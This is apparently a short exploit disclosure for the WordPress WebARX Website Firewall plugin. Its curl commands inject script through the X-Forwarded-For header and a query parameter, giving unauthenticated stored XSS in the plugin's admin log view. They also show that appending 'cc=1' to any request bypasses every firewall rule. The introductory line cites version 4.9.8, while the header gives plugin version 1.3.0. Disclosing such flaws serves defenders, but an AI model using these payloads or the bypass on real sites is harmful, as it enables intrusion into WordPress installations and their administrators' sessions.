WordPress WebARX Website Firewall plugin version 4.9.8 suffers from bypass and cross site scripting vulnerabilities.
93f3340e129e42fa3f325953a6ff8e08# Exploit Title: WordPress WebARX Website Firewall - Stored XSS and firewall bypass.
# Type: WordPress Plugin
# Date: 2018-09-27
# Exploit Author: ed0x21son
# Vendor Homepage: https://www.webarxsecurity.com
# Software Link: http://update.webarxsecurity.com/wp-update-server/?action=download&slug=webarx
# Version: 1.3.0
# Category: WebApps, WordPress
# Tested on: WordPress 4.9.8
[Vulnerabilities]
#1: Unauthenticated stored XSS:
curl -I -H 'X-Forwarded-For: <script>alert("U-H4V3-B33N-PWN3D")</script>' 'http://localhost/?xss=<script>alert(/pwn3d/)</script>'
Go to Wordpress dashboard and view WebARX logs: pwnd!
#2: Firewall bypass:
U can bypass all firewall security and rules if u add "cc=1" to the Post or Get payload.
Blocked by firewall:
curl 'http://localhost/?xss=<script>alert(/pwn3d/)</script>'
Not blocked by firewall:
curl 'http://localhost/?xss=<script>alert(/pwn3d/)</script>&cc=1'
--ed0x21son